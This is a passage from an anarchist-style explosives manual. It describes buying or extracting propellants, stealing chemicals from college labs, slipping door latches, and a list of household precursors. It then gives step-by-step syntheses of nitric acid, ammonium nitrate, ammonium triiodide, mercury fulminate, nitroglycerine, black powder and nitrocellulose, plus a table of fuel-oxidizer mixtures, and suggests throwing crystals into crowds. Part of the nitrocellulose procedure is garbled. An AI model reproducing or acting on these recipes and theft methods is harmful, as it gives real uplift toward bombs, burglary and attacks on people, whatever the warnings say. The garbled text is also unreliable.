depends on what the calibre of the gun that it is used in; a fine grade
of
powder could burn too fast in the wrong caliber weapon. The rule is:
the smaller the grade, the faster the burn rate of the powder.
2.01
BLACK POWDER
Black powder is generally available in three grades. As stated
before,
the smaller the grade, the faster the powder burns. Burn rate is
extremely
important in bombs. Since an explosion is a rapid increase of gas
volume in
a confined environment, to make an explosion, a quick-burning powder is
desirable. The three common grades of black powder are listed below,
along
with the usual bore width (calibre) of what they are used in.
Generally,
the fastest burning powder, the FFF grade is desirable. However, the
other
grades and uses are listed below:
GRADE
_____
F
rifles
FF
rifles
FFF
BORE WIDTH
__________
EXAMPLE OF GUN
______________
.50 or greater
model cannon; some
.36 - .50
large pistols; small
.36 or smaller
pistols; derringers
The FFF grade is the fastest burning, because the smaller grade
has
more surface area or burning surface exposed to the flame front. The
larger
grades also have uses which will be discussed later. The price range
of
black powder, per pound, is about $8.50 - $9.00. The price is not
affected
by the grade, and so one saves oneself time and work if one buys the
finer
grade of powder. The major problems with black powder are that it can
be
ignited accidentally by static electricity, and that it has a tendency
to
absorb moisture from the air. To safely crush it, a bomber would use a
plastic
spoon and a wooden salad bowl. Taking a small pile at a time, he or
she would
apply pressure to the powder through the spoon and rub it in a series
of strokes
or circles, but not too hard. It is fine enough to use when it is
about as fine
as flour. The fineness, however, is dependant on what type of device
one wishes
to make; obviously, it would be impracticle to crush enough powder to
fill a 1
foot by 4 inch radius pipe. Anyone can purchase black powder, since
anyone can
own black powder firearms in America.
2.02
PYRODEX
Pyrodex is a synthetic powder that is used like black powder. It
comes
in the same grades, but it is more expensive per pound. However, a one
pound
container of pyrodex contains more material by volume than a pound of
black
powder. It is much easier to crush to a very fine powder than black
powder, and
it is considerably safer and more reliable. This is because it will
not be set off by static electricity, as black can be, and it is less
inclined
to absorb moisture. It costs about $10.00 per pound. It can be
crushed in the
same manner as black powder, or it can be dissolved in boiling water
and dried.
2.03
ROCKET ENGINE POWDER
One of the most exciting hobbies nowadays is model rocketry.
Estes is
the largest producer of model rocket kits and engines. Rocket engines
are
composed of a single large grain of propellant. This grain is
surrounded by
a fairly heavy cardboard tubing. One gets the propellant by slitting
the tube
lengthwise, and unwrapping it like a paper towel roll. When this is
done, the
grey fire clay at either end of the propellant grain must be removed.
This is
usually done gently with a plastic or brass knife. The material is
exceptionally
hard, and must be crushed to be used. By gripping the grain on the
widest
setting on a set of pliers, and putting the grain and powder in a
plastic bag,
the powder will not break apart and shatter all over. This should be
done to
all the large chunks of powder, and then it should be crushed like
black powder.
Rocket engines come in various sizes, ranging from 1/4 A - 2T to the
incredibly
powerful D engines. The larger the engine, the more expensive. D
engines come
in packages of three, and cost about $5.00 per package. Rocket engines
are
perhaps the single most useful item sold in stores to a terrorist,
since they
can be used as is, or can be cannibalized for their explosive powder.
2.04
RIFLE/SHOTGUN POWDER
Rifle powder and shotgun powder are really the same from a
practicle
standpoint. They are both nitrocellulose based propellants. They will
be
referred to as gunpowder in all future references. Gunpowder is made
by the
action of concentrated nitric and sulfuric acid upon cotton. This
material is
then dissolved by solvents and then reformed in the desired grain size.
When
dealing with gunpowder, the grain size is not nearly as important as
that of
black powder. Both large and small grained gunpowder burn fairly
slowly
compared to black powder when unconfined, but when it is confined,
gunpowder
burns both hotter and with more gaseous expansion, producing more
pressure.
Therefore, the grinding process that is often necessary for other
propellants
is not necessary for gunpowder. Gunpowder costs about $9.00 per pound.
Any
idiot can buy it, since there are no restrictions on rifles or shotguns
in the
U.S.
2.05
FLASH POWDER
Flash powder is a mixture of powdered zirconium metal and various
oxidizers. It is extremely sensitive to heat or sparks, and should be
treated
with more care than black powder, with which it should NEVER be mixed.
It is
sold in small containers which must be mixed and shaken before use. It
is very
finely powdered, and is available in three speeds: fast, medium, and
slow. The
fast flash powder is the best for using in explosives or detonators.
It burns
very rapidly, regardless of confinement or packing, with a hot white
"flash",
hence its name. It is fairly expensive, costing about $11.00. It is
sold
in magic shops and theatre supply stores.
2.06
AMMONIUM NITRATE
Ammonium nitrate is a high explosive material that is often used
as
a commercial "safety explosive" It is very stable, and is difficult to
ignite
with a match. It will only light if the glowing, red-hot part of a
match is
touching it. It is also difficult to detonate; (the phenomenon of
detonation
will be explained later) it requires a large shockwave to cause it to
go high
explosive. Commercially, it is sometimes mixed with a small amount of
nitroglycerine to increase its sensitivity. Ammonium nitrate is used
in the
"Cold-Paks" or "Instant Cold", available in most drug stores. The
"Cold Paks"
consist of a bag of water, surrounded by a second plastic bag
containing the
ammonium nitrate. To get the ammonium nitrate, simply cut off the top
of the
outside bag, remove the plastic bag of water, and save the ammonium
nitrate in
a well sealed, airtight container, since it is rather hydroscopic, i.e.
it
tends to absorb water from the air. It is also the main ingredient in
many
fertilizers.
2.1
ACQUIRING CHEMICALS
The first section deals with getting chemicals legally. This
section
deals with "procuring" them. The best place to steal chemicals is a
college.
Many state schools have all of their chemicals out on the shelves in
the
labs, and more in their chemical stockrooms. Evening is the best time
to enter
lab buildings, as there are the least number of people in the
buildings, and
most of the labs will still be unlocked. One simply takes a bookbag,
wears
a dress shirt and jeans, and tries to resemble a college freshman. If
anyone
asks what such a person is doing, the thief can simply say that he is
looking
for the polymer chemistry lab, or some other chemistry-related
department
other than the one they are in. One can usually find out where the
various
labs and departments in a building are by calling the university.
There
are, of course other techniques for getting into labs after hours, such
as
placing a piece of cardboard in the latch of an unused door, such as a
back
exit. Then, all one needs to do is come back at a later hour. Also,
before
this is done, terrorists check for security systems. If one just walks
into a
lab, even if there is someone there, and walks out the back exit, and
slip the
cardboard in the latch before the door closes, the person in the lab
will never
know what happened. It is also a good idea to observe the building
that one
plans to rob at the time that one plans to rob it several days before
the
actual theft is done. This is advisable since the would-be thief
should know
when and if the campus security makes patrols through buildings. Of
course, if
none of these methods are successful, there is always section 2.11, but
as a
rule, college campus security is pretty poor, and nobody suspects
another
person in the building of doing anything wrong, even if they are there
at an
odd hour.
2.11
TECHNIQUES FOR PICKING LOCKS
If it becomes necessary to pick a lock to enter a lab, the world's
most effective lockpick is dynamite, followed by a sledgehammer. There
are
unfortunately, problems with noise and excess structural damage with
these
methods. The next best thing, however, is a set of army issue
lockpicks.
These, unfortunately, are difficult to acquire. If the door to a lab
is locked,
but the deadbolt is not engaged, then there are other possibilities.
The rule
here is: if one can see the latch, one can open the door. There are
several
devices which facilitate freeing the latch from its hole in the wall.
Dental
tools, stiff wire ( 20 gauge ), specially bent aluminum from cans, thin
pocketknives, and credit cards are the tools of the trade. The way that all
these
tools and devices are uses is similar: pull, push, or otherwise move
the latch
out of its hole in the wall, and pull the door open. This is done by
sliding
whatever tool that you are using behind the latch, and pulling the
latch out
from the wall. To make an aluminum-can lockpick, terrorists can use an
aluminum
can and carefully cut off the can top and bottom. Cut off the ragged
ends of the
can. Then, cut the open-ended cylinder so that it can be flattened out
into a
single long rectangle. This should then be cut into inch wide strips.
Fold the
strips in 1/4 inch increments (1). One will have a long quadruplethick 1/4
inch wide strip of aluminum. This should be folded into an L-shape, a
J-shape,
or a U-shape. This is done by folding. The pieces would look like
this:
(1)
1/4
1/4
1 inch
1/4
1/4
_________________________________________________________
|_______________________________________________________|
|_______________________________________________________|
v
|
|
|_______________________________________________________|
|_______________________________________________________|
^
|
|
Fold along lines to make a single quadruple-thick piece of
aluminum. This should then be folded to produce an L,J,or U shaped
device that looks like this:
__________________________________________
/|________________________________________|
| |
| |
L-shaped
| |
| |
| |
|_|
_____________________________
/|___________________________|
| |
| |
J-shaped
| |
| |_________
\|_______|
_____________________
/|___________________|
| |
| |
| |
U-shaped
| |
| |
| |
| |____________________
\|___________________|
All of these devices should be used to hook the latch of a door
and
pull the latch out of its hole. The folds in the lockpicks will be
between
the door and the wall, and so the device will not unfold, if it is made
properly.
2.2
LIST OF USEFUL HOUSEHOLD CHEMICALS AND THEIR AVAILABILITY
Anyone can get many chemicals from hardware stores, supermarkets,
and drug stores to get the materials to make explosives or other
dangerous
compounds. A would-be terrorist would merely need a station wagon and
some
money to acquire many of the chemicals named here.
Chemical
________
Used In
_______
Available at
____________
_______________________________________________________________________
______
alcohol, ethyl
*
alcoholic beverages
liquor stores
solvents (95% min. for both)
hardware stores
_______________________________________________________________________
______
ammonia +
CLEAR household
supermarkets,
ammonia
7 - Eleven
_______________________________________________________________________
______
ammonium
instant-cold
drug stores,
nitrate
paks, fertilizers
medical supply
stores
_______________________________________________________________________
______
nitrous oxide
pressurizing
party supply
stores
drinks and whip cream
_______________________________________________________________________
______
magnesium
firestarters
surplus stores,
camping stores
_______________________________________________________________________
_____
lecithin
vitamin?
pharmacies,
drug
stores
_______________________________________________________________________
______
mineral oil
cooking, laxative
supermarket,
drug store
_______________________________________________________________________
______
mercury
@
mercury thermometers
supermarkets,
hardware stores
_______________________________________________________________________
______
sulfuric acid
uncharged car
automotive
stores
batteries
_______________________________________________________________________
______
glycerine
?
pharmacies, drug
stores
_______________________________________________________________________
______
sulfur
gardening
gardening store,
hardware stores?
_______________________________________________________________________
______
charcoal
charcoal grills,
supermarkets
gardening
gardening stores
_______________________________________________________________________
______
sodium nitrate
fertilizer
gardening store
_______________________________________________________________________
______
cellulose
first aid
drug stores,
(cotton)
medical supply
stores
_______________________________________________________________________
______
strontium nitrate
road flares
surplus stores,
auto stores
_______________________________________________________________________
______
fuel oil
kerosene stoves
surplus stores,
(kerosene)
camping stores
_______________________________________________________________________
______
bottled gas
propane stoves
surplus stores,
camping stores
_______________________________________________________________________
______
potassium permanganate
water purification
purification
plants
_______________________________________________________________________
______
hexamine or
hexamine stoves
surplus stores
methenamine
(camping)
(camping
stores?)
_______________________________________________________________________
______
nitric acid ^
cleaning printing
printing shops
plates
photography stores?
_______________________________________________________________________
______
iodine
&
first aid
drug stores
_______________________________________________________________________
______
sodium perchlorate solidox pellets
hardware stores
for cutting torches
_______________________________________________________________________
______
notes: * ethyl alcohol is mixed with methyl alcohol when it is used as
a
solvent. Methyl alcohol is very poisonous. Solvent alcohol
must be at least 95% ethyl alcohol if it is used to make mercury
fulminate. Methyl alcohol may prevent mercury fulminate from
forming.
+ Ammonia, when bought in stores comes in a variety of forms. The
pine and cloudy ammonias should not be bought; only the clear
ammonia should be used to make ammonium triiodide crystals.
@ Mercury thermometers are becoming a rarity, unfortunately. They
may be hard to find in most stores. Mercury is also used in
mercury switches, which are available at electronics stores.
Mercury is a hazardous substance, and should be kept in the
thermometer or mercury switch until used. It gives off mercury
vapors which will cause brain damage if inhaled. For this
reason,
it is a good idea not to spill mercury, and to always use it
outdoors. Also, do not get it in an open cut; rubber gloves
will
help prevent this.
^ Nitric acid is very difficult to find nowadays. It is usually
stolen by bomb makers, or made by the process described in a
later
section.
A desired concentration for making explosives about
70%.
& The iodine sold in drug stores is usually not the pure
crystaline
form that is desired for producing ammonium triiodide crystals.
To obtain the pure form, it must usually be acquired by a
doctor's
prescription, but this can be expensive. Once again, theft is
the
means that terrorists result to.
2.3
2.31
PREPARATION OF CHEMICALS
NITRIC ACID
There are several ways to make this most essential of all acids
for
explosives. One method by which it could be made will be presented.
Once
again, be reminded that these methods SHOULD NOT BE CARRIED OUT!!
Materials:
__________
sodium nitrate
or
potassium nitrate
distilled water
concentrated
sulfuric acid
Equipment
_________
adjustable heat source
retort
ice bath
stirring rod
collecting flask with stopper
1) Pour 32 milliliters of concentrated sulfuric acid into the retort.
2) Carefully weigh out 58 grams of sodium nitrate, or 68 grams of
potassium
nitrate. and add this to the acid slowly. If it all does not dissolve,
carefully stir the solution with a glass rod until it does.
3) Place the open end of the retort into the collecting flask, and
place the
collecting flask in the ice bath.
4) Begin heating the retort, using low heat.
liquid
Continue heating until
begins to come out of the end of the retort. The liquid that forms
is nitric
acid. Heat until the precipitate in the bottom of the retort is
almost dry,
or until no more nitric acid is forming. CAUTION: If the acid is
headed too
strongly, the nitric acid will decompose as soon as it is formed.
This
can result in the production of highly flammable and toxic gasses
that may
explode. It is a good idea to set the above apparatus up, and then
get
away from it.
Potassium nitrate could also be obtained from store-bought black
powder,
simply by dissolving black powder in boiling water and filtering out
the sulfur
and charcoal. To obtain 68 g of potassium nitrate, it would be
necessary to
dissolve about 90 g of black powder in about one litre of boiling
water. Filter
the dissolved solution through filter paper in a funnel into a jar
until the
liquid that pours through is clear. The charcoal and sulfur in black
powder
are insoluble in water, and so when the solution of water is allowed to
evaporate, potassium nitrate will be left in the jar.
2.32
SULFURIC ACID
Sulfuric acid is far too difficult to make outside of a laboratory
or
industrial plant. However, it is readily available in an uncharged car
battery.
A person wishing to make sulfuric acid would simply remove the top of a
car
battery and pour the acid into a glass container. There would probably
be
pieces of lead from the battery in the acid which would have to be
removed,
either by boiling or filtration. The concentration of the sulfuric
acid can
also be increased by boiling it; very pure sulfuric acid pours slightly
faster
than clean motor oil.
2.33
AMMONIUM NITRATE
Ammonium nitrate is a very powerful but insensitive high-order
explosive. It could be made very easily by pouring nitric acid into a
large
flask in an ice bath. Then, by simply pouring household ammonia into
the flask
and running away, ammonium nitrate would be formed. After the
materials have
stopped reacting, one would simply have to leave the solution in a warm
place
until all of the water and any unneutralized ammonia or acid have
evaporated.
There would be a fine powder formed, which would be ammonium nitrate.
It must
be kept in an airtight container, because of its tendency to pick up
water from
the air. The crystals formed in the above process would have to be
heated VERY
gently to drive off the remaining water.
3.0
EXPLOSIVE RECIPES
Once again, persons reading this material MUST NEVER ATTEMPT TO
PRODUCE
ANY OF THE EXPLOSIVES DESCRIBED HEREIN. IT IS ILLEGAL AND EXTREMELY
DANGEROUS
TO ATTEMPT TO DO SO. LOSS OF LIFE AND/OR LIMB COULD EASILY OCCUR AS A
RESULT
OF ATTEMPTING TO PRODUCE EXPLOSIVE MATERIALS.
These recipes are theoretically correct, meaning that an
individual
could conceivably produce the materials described. The methods here
are usually
scaled-down industrial procedures.
3.01
EXPLOSIVE THEORY
An explosive is any material that, when ignited by heat or shock,
undergoes rapid decomposition or oxidation. This process releases
energy that
is stored in the material in the form of heat and light, or by breaking
down
into gaseous compounds that occupy a much larger volume that the
original piece
of material. Because this expansion is very rapid, large volumes of
air are
displaced by the expanding gasses. This expansion occurs at a speed
greater
than the speed of sound, and so a sonic boom occurs. This explains the
mechanics behind an explosion. Explosives occur in several forms:
high-order
explosives which detonate, low order explosives, which burn, and
primers, which
may do both.
High order explosives detonate. A detonation occurs only in a
high
order explosive. Detonations are usually incurred by a shockwave that
passes
through a block of the high explosive material. The shockwave breaks
apart
the molecular bonds between the atoms of the substance, at a rate
approximately
equal to the speed of sound traveling through that material. In a high
explosive, the fuel and oxodizer are chemically bonded, and the
shockwave breaks
apart these bonds, and re-combines the two materials to produce mostly
gasses.
T.N.T., ammonium nitrate, and R.D.X. are examples of high order
explosives.
Low order explosives do not detonate; they burn, or undergo
oxidation.
when heated, the fuel(s) and oxodizer(s) combine to produce heat,
light, and
gaseous products. Some low order materials burn at about the same
speed under
pressure as they do in the open, such as blackpowder. Others, such as
gunpowder,
which is correctly called nitrocellulose, burn much faster and hotter
when they
are in a confined space, such as the barrel of a firearm; they usually
burn
much slower than blackpowder when they are ignited in unpressurized
conditions.
Black powder, nitrocellulose, and flash powder are good examples of low
order
explosives.
Primers are peculiarities to the explosive field. Some of them,
such as
mercury filminate, will function as a low or high order explosive.
They are
usually more sensitive to friction, heat, or shock, than the high or
low
explosives. Most primers perform like a high order explosive, except
that they
are much more sensitive. Still others merely burn, but when they are
confined,
they burn at a great rate and with a large expansion of gasses and a
shockwave.
Primers are usually used in a small amount to initiate, or cause to
decompose,
a high order explosive, as in an artillery shell. But, they are also
frequently
used to ignite a low order explosive; the gunpowder in a bullet is
ignited by
the detonation of its primer.
3.1
IMPACT EXPLOSIVES
Impact explosives are often used as primers. Of the ones
discussed
here, only mercury fulminate and nitroglycerine are real explosives;
Ammonium
triiodide crystals decompose upon impact, but they release little heat
and no
light. Impact explosives are always treated with the greatest care,
and even
the stupidest anarchist never stores them near any high or low
explosives.
3.11
AMMONIUM TRIIODIDE CRYSTALS
Ammonium triiodide crystals are foul-smelling purple colored
crystals
that decompose under the slightest amount of heat, friction, or shock,
if they
are made with the purest ammonia (ammonium hydroxide) and iodine. Such
crystals are said to detonate when a fly lands on them, or when an ant
walks
across them. Household ammonia, however, has enough impurities, such
as soaps
and abrasive agents, so that the crystals will detonate when
thrown,crushed, or
heated. Upon detonation, a loud report is heard, and a cloud of purple
iodine
gas appears about the detonation site. Whatever the unfortunate
surface that
the crystal was detonated upon will usually be ruined, as some of the
iodine
in the crystal is thrown about in a solid form, and iodine is
corrosive. It
leaves nasty, ugly, permanent brownish-purple stains on whatever it
contacts.
Iodine gas is also bad news, since it can damage lungs, and it settles
to the
ground and stains things there also. Touching iodine leaves brown
stains on
the skin that last for about a week, unless they are immediately and
vigorously
washed off. While such a compound would have little use to a serious
terrorist,
a vandal could utilize them in damaging property. Or, a terrorist
could throw
several of them into a crowd as a distraction, an action which would
possibly
injure a few people, but frighten almost anyone, since a small crystal
that
not be seen when thrown produces a rather loud explosion. Ammonium
triiodide
crystals could be produced in the following manner:
Materials
_________
iodine crystals
Equipment
_________
funnel and filter paper
paper towels
clear ammonia
(ammonium hydroxide, two throw-away glass jars
for the suicidal)
1) Place about two teaspoons of iodine into one of the glass jars.
jars
must both be throw away because they will never be clean again.
The
2) Add enough ammonia to completely cover the iodine.
3) Place the funnel into the
funnel.
The technique for putting
every basic
chemistry lab class: fold
semi-circle
is formed. Then, fold it
curved
side. Pull one thickness
cone
into the funnel.
other jar, and put the filter paper in the
filter paper in a funnel is taught in
the circular paper in half, so that a
in half again to form a triangle with one
of paper out to form a cone, and place the
4) After allowing the iodine to soak in the ammonia for a while, pour
the
solution into the paper in the funnel through the filter paper.
5) While the solution is being filtered, put more ammonia into the
first jar
to wash any remaining crystals into the funnel as soon as it drains.
6) Collect all the purplish crystals without touching the brown filter
paper,
and place them on the paper towels to dry for about an hour. Make
sure that
they are not too close to any lights or other sources of heat, as
they could
well detonate. While they are still wet, divide the wet material
into about
eight chunks.
7) After they dry, gently place the crystals onto a one square inch
piece of
duct tape. Cover it with a similar piece, and gently press the duct
tape
together around the crystal, making sure not to press the crystal
itself.
Finally, cut away most of the excess duct tape with a pair of
scissors, and
store the crystals in a cool dry safe place. They have a shelf life
of
about a week, and they should be stored in individual containers
that can be
thrown away, since they have a tendency to slowly decompose, a
process which
gives off iodine vapors, which will stain whatever they settle on.
One
possible way to increase their shelf life is to store them in
airtight
containers. To use them, simply throw them against any surface or
place them
where they will be stepped on or crushed.
3.12
MERCURY FULMINATE
Mercury fulminate is perhaps one of the oldest known initiating
compounds. It can be detonated by either heat or shock, which would
make it
of infinite value to a terrorist. Even the action of dropping a
crystal of
the fulminate causes it to explode. A person making this material
would
probably use the following procedure:
MATERIALS
_________
mercury (5 g)
concentrated nitric
acid (35 ml)
EQUIPMENT
_________
glass stirring rod
100 ml beaker (2)
ethyl alcohol (30 ml)
adjustable heat
source
distilled water
blue litmus paper
funnel and filter paper
1) In one beaker, mix 5 g of mercury with 35 ml of concentrated nitric
acid,
using the glass rod.
2) Slowly heat the mixture until the mercury is dissolved, which is
when the
solution turns green and boils.
3) Place 30 ml of ethyl alcohol into the second beaker, and slowly and
carefully
add all of the contents of the first beaker to it. Red and/or
brown fumes
should appear. These fumes are toxic and flammable.
4) After thirty to forty minutes, the fumes should turn white,
indicating that
the reaction is near completion. After ten more minutes, add 30 ml
of the
distilled water to the solution.
5) Carefully filter out the crystals of mercury fulminate from the
liquid
solution. Dispose of the solution in a safe place, as it is
corrosive
and toxic.
6) Wash the crystals several times in distilled water to remove as much
excess
acid as possible. Test the crystals with the litmus paper until
they are
neutral.
This will be when the litmus paper stays blue when it
touches the
wet crystals
7) Allow the crystals to dry, and store them in a safe place, far away
from
any explosive or flammable material.
This procedure can also be done by volume, if the available
mercury
cannot be weighed. Simply use 10 volumes of nitric acid and 10 volumes
of
ethanol to every one volume of mercury.
3.13
NITROGLYCERINE
Nitroglycerine is one of the most sensitive explosives, if it is
not
the most sensitive. Although it is possible to make it safely, it is
difficult.
Many a young anarchist has been killed or seriously injured while
trying to
make the stuff. When Nobel's factories make it, many people were
killed by the
all-to-frequent factory explosions. Usually, as soon as it is made, it
is
converted into a safer substance, such as dynamite. An idiot who
attempts
to make nitroglycerine would use the following procedure:
MATERIAL
________
EQUIPMENT
_________
distilled water
eye-dropper
table salt
100 ml beaker
sodium bicarbonate
concentrated nitric
acid (13 ml)
concentrated sulfuric
200-300 ml beakers (2)
ice bath container
( a plastic bucket serves well )
centigrade thermometer
acid (39 ml)
glycerine
blue litmus paper
1) Place 150 ml of distilled water into one of the 200-300 ml beakers.
2) In the other 200-300 ml beaker, place 150 ml of distilled water and
about
a spoonful of sodium bicarbonate, and stir them until the sodium
bicarbonate
dissolves. Do not put so much sodium bicarbonate in the water so
that some
remains undissolved.
3) Create an ice bath by half filling the ice bath container with ice,
and
adding table salt. This will cause the ice to melt, lowering the
overall
temperature.
4) Place the 100 ml beaker into the ice bath, and pour the 13 ml of
concentrated
nitric acid into the 100 ml beaker. Be sure that the beaker will
not spill
into the ice bath, and that the ice bath will not overflow into the
beaker
when more materials are added to it. Be sure to have a large enough
ice bath
container to add more ice. Bring the temperature of the acid down
to about 20
degrees centigrade or less.
5) When the nitric acid is as cold as stated above, slowly and
carefully add the
39 ml of concentrated sulfuric acid to the nitric acid. Mix the two
acids
together, and cool the mixed acids to 10 degrees centigrade. It is
a good
idea to start another ice bath to do this.
6) With the eyedropper, slowly put the glycerine into the mixed acids,
one drop
at a time. Hold the thermometer along the top of the mixture where
the mixed
acids and glycerine meet. DO NOT ALLOW THE TEMPERATURE TO GET ABOVE
30
DEGREES CENTIGRADE; IF THE TEMPERATURE RISES ABOVE THIS TEMPERATURE,
RUN
LIKE HELL!!! The glycerine will start to nitrate immediately, and
the
temperature will immediately begin to rise. Add glycerine until
there is a
thin layer of glycerine on top of the mixed acids. It is always
safest to
make any explosive in small quantities.
7) Stir the mixed acids and glycerine for the first ten minutes of
nitration,
adding ice and salt to the ice bath to keep the temperature of the
solution
in the 100 ml beaker well below 30 degrees centigrade. Usually, the
nitroglycerine will form on the top of the mixed acid solution, and
the
concentrated sulfuric acid will absorb the water produced by the
reaction.
8) When the reaction is over, and when the nitroglycerine is well below
30
degrees centigrade, slowly and carefully pour the solution of
nitroglycerine
and mixed acid into the distilled water in the beaker in step 1.
The
nitroglycerine should settle to the bottom of the beaker, and the
water-acid
solution on top can be poured off and disposed of. Drain as much of
the
acid-water solution as possible without disturbing the
nitroglycerine.
9) Carefully remove the nitroglycerine with a clean eye-dropper, and
place it
into the beaker in step 2. The sodium bicarbonate solution will
eliminate
much of the acid, which will make the nitroglycerine more stable,
and less
likely to explode for no reason, which it can do. Test the
nitroglycerine
with the litmus paper until the litmus stays blue. Repeat this step
if
necessary, and use new sodium bicarbonate solutions as in step 2.
10) When the nitroglycerine is as acid-free as possible, store it in a
clean
container in a safe place. The best place to store nitroglycerine
is
far away from anything living, or from anything of any value.
Nitroglycerine can explode for no apparent reason, even if it is
stored
in a secure cool place.
3.14
PICRATES
Although the procedure for the production of picric acid, or
trinitrophenol has not yet been given, its salts are described first,
since they
are extremely sensitive, and detonate on impact. By mixing picric acid
with
metal hydroxides, such as sodium or potassium hydroxide, and
evaporating the
water, metal picrates can be formed. Simply obtain picric acid, or
produce it,
and mix it with a solution of (preferably) potassium hydroxide, of a
mid range
molarity. (about 6-9 M) This material, potassium picrate, is impactsensitive,
and can be used as an initiator for any type of high explosive.
3.2
LOW-ORDER EXPLOSIVES
There are many low-order explosives that can be purchased in
stores
and used in explosive devices. However, it is possible that a wise gun
store
owner would not sell these substances to a suspicious-looking
individual. Such
an individual would then be forced to resort to making his own loworder
explosives.
3.21
BLACK POWDER
First made by the Chinese for use in fireworks, black powder was
first
used in weapons and explosives in the 12th century. It is very simple
to make,
but it is not very powerful or safe. Only about 50% of black powder is
converted to hot gasses when it is burned; the other half is mostly
very fine
burned particles. Black powder has one major problem: it can be
ignited by
static electricity. This is very bad, and it means that the material
must be
made with wooden or clay tools. Anyway, a misguided individual could
manufacture black powder at home with the following procedure:
MATERIALS
_________
potassium
nitrate (75 g)
or
sodium
nitrate (75 g)
sulfur (10 g)
EQUIPMENT
_________
clay grinding bowl
and clay grinder
or
wooden salad bowl
and wooden spoon
plastic bags (3)
charcoal (15 g)
300-500 ml beaker (1)
distilled water
coffee pot or heat source
1) Place a small amount of the potassium or sodium nitrate in the
grinding bowl
and grind it to a very fine powder. Do this to all of the potassium
or
sodium nitrate, and store the ground powder in one of the plastic
bags.
2) Do the same thing to the sulfur and charcoal, storing each chemical
in a
separate plastic bag.
3) Place all of the finely ground potassium or sodium nitrate in the
beaker, and
add just enough boiling water to the chemical to get it all wet.
4) Add the contents of the other plastic bags to the wet potassium or
sodium
nitrate, and mix them well for several minutes. Do this until there
is no
more visible sulfur or charcoal, or until the mixture is universally
black.
5) On a warm sunny day, put the beaker outside in the direct sunlight.
Sunlight
is really the best way to dry black powder, since it is never too
hot, but it
is hot enough to evaporate the water.
6) Scrape the black powder out of the beaker, and store it in a safe
container.
Plastic is really the safest container, followed by paper. Never
store black
powder in a plastic bag, since plastic bags are prone to generate
static
electricity.
3.22
NITROCELLULOSE
Nitrocellulose is usually called "gunpowder" or "guncotton". It
is more
stable than black powder, and it produces a much greater volume of hot
gas. It
also burns much faster than black powder when it is in a confined
space.
Finally, nitrocellulose is fairly easy to make, as outlined by the
following
procedure:
MATERIALS
_________
cotton
EQUIPMENT
_________
(cellulose)
concentrated
two (2) 200-300 ml beakers
funnel and filter paper
nitric acid
blue litmus paper
concentrated
sulfuric acid
distilled water
1) Pour 10 cc of concentrated sulfuric acid into the beaker.
this
10 cc of concentrated nitric acid.
Add to
2) Immediately add 0.5 gm of cotton, and allow it to soak for exactly 3
minutes.
3) Remove the nitrocottmNX and`´(r)¹ÍÉJÑ¢1/2
-Éz"¥ÍÑ¥±±ºÑÉ5þ
to wash it in.
4) Allow the material to dry, and then re-wash it.
5) After the cotton is neutral when tested with litmus paper, it is
ready to
be dried and stored.
3.23
FUEL-OXODIZER MIXTURES
There are nearly an infinite number of fuel-oxodizer mixtures that
can
be produced by a misguided individual in his own home. Some are very
effective
and dangerous, while others are safer and less effective. A list of
working
fuel-oxodizer mixtures will be presented, but the exact measurements of
each
compound are debatable for maximum effectiveness. A rough estimate
will be
given of the percentages of each fuel and oxodizer:
oxodizer, % by weight
fuel, % by weight
speed #
notes
_______________________________________________________________________
_________
potassium chlorate 67%
sulfur 33%
5
friction/
impact
sensitive
rather
unstable
_______________________________________________________________________
_________
potassium chlorate 50%
sugar 35%
5
fairly slow
charcoal 15%
burning;
unstable
_______________________________________________________________________
_________
potassium chlorate 50%
sulfur 25%
8
extremely
magnesium or
unstable!
aluminum dust 25%
_______________________________________________________________________
_________
potassium chlorate 67%
magnesium or
8
unstable
aluminum dust 33%
_______________________________________________________________________
_________
sodium nitrate 65%
magnesium dust 30%
?
unpredictable
sulfur 5%
burn
rate
_______________________________________________________________________
_________
potassium permanganate 60%
glycerine 40%
4
delay
before
ignition
depends
WARNING: IGNITES SPONTANEOUSLY WITH GLYCERINE!!!
upon grain
size
_______________________________________________________________________
_________
potassium permanganate 67%
sulfur 33%
5
unstable
_______________________________________________________________________
_________
potassium permangenate 60%
sulfur 20%
5
unstable
magnesium or
aluminum dust 20%
_______________________________________________________________________
_________
potassium permanganate 50%
sugar 50%
3
?
_______________________________________________________________________
_________
potassium nitrate 75%
charcoal 15%
7
this
is
sulfur 10%
black
powder!
_______________________________________________________________________
_________
potassium nitrate 60%
powdered iron
1
burns very hot
or
magnesium 40%
_______________________________________________________________________
_________
potassium chlorate 75%
phosphorus
8
used to
make
sesquisulfide 25%
strikeanywhere
matches
_______________________________________________________________________
_________
ammonium perchlorate 70%
fuel for
aluminum dust 30%
6
solid
+ small amount of
space
shuttle
iron oxide
_______________________________________________________________________
_________
potassium perchlorate 67%
magnesium or
10
flash
powder
(sodium perchlorate)
aluminum dust 33%
_______________________________________________________________________
_________
potassium perchlorate 60%
magnesium or
8
alternate
(sodium perchlorate)
aluminum dust 20%
flash
powder
sulfur 20%
_______________________________________________________________________
_________
barium nitrate 30%
aluminum dust 30%
9
alternate
potassium perchlorate 30%
flash
powder
_______________________________________________________________________
_________
barium peroxide 90%
magnesium dust 5%
10
alternate
aluminum dust 5%
flash
powder
_______________________________________________________________________
_________
potassium perchlorate 50%
sulfur 25%
8
slightly
magnesium or
unstable
aluminum dust 25%
_______________________________________________________________________
_________
potassium chlorate 67%
red phosphorus 27%
7
very
calcium carbonate 3%
sulfur 3%
unstable!
impact
sensitive
_______________________________________________________________________
_________
potassium permanganate 50%
unstable;
powdered sugar 25%
aluminum or
magnesium dust 25%
7
ignites if
it gets
wet!
_______________________________________________________________________
_________
potassium chlorate 75%
charcoal dust 15%
6
unstable
sulfur 10%
_______________________________________________________________________
_________
NOTE: Mixtures that uses substitutions of sodium perchlorate for
potassium
perchlorate become moisture-absorbent and less stable.
The higher the speed number, the faster the fuel-oxodizer mixture
burns
AFTER ignition. Also, as a rule, the finer the powder, the faster the
rate of
burning.
As one can easily see, there is a wide variety of fuel-oxodizer
mixtures
that can be made at home. By altering the amounts of fuel and
oxodizer(s),
different burn rates can be achieved, but this also can change the
sensitivity of
the mixture.
3.24
PERCHLORATES
As a rule, any oxidizable material that is treated with perchloric
acid
will become a low order explosive. Metals, however, such as potassium
or
sodium, become excellent bases for flash-type powders. Some materials
that can
be perchlorated are cotton, paper, and sawdust. To produce potassium
or sodium
perchlorate, simply acquire the hydroxide of that metal, e.g. sodium or
potassium hydroxide. It is a good idea to test the material to be
perchlorated
with a very small amount of acid, since some of the materials tend to
react
explosively when contacted by the acid. Solutions of sodium or
potassium
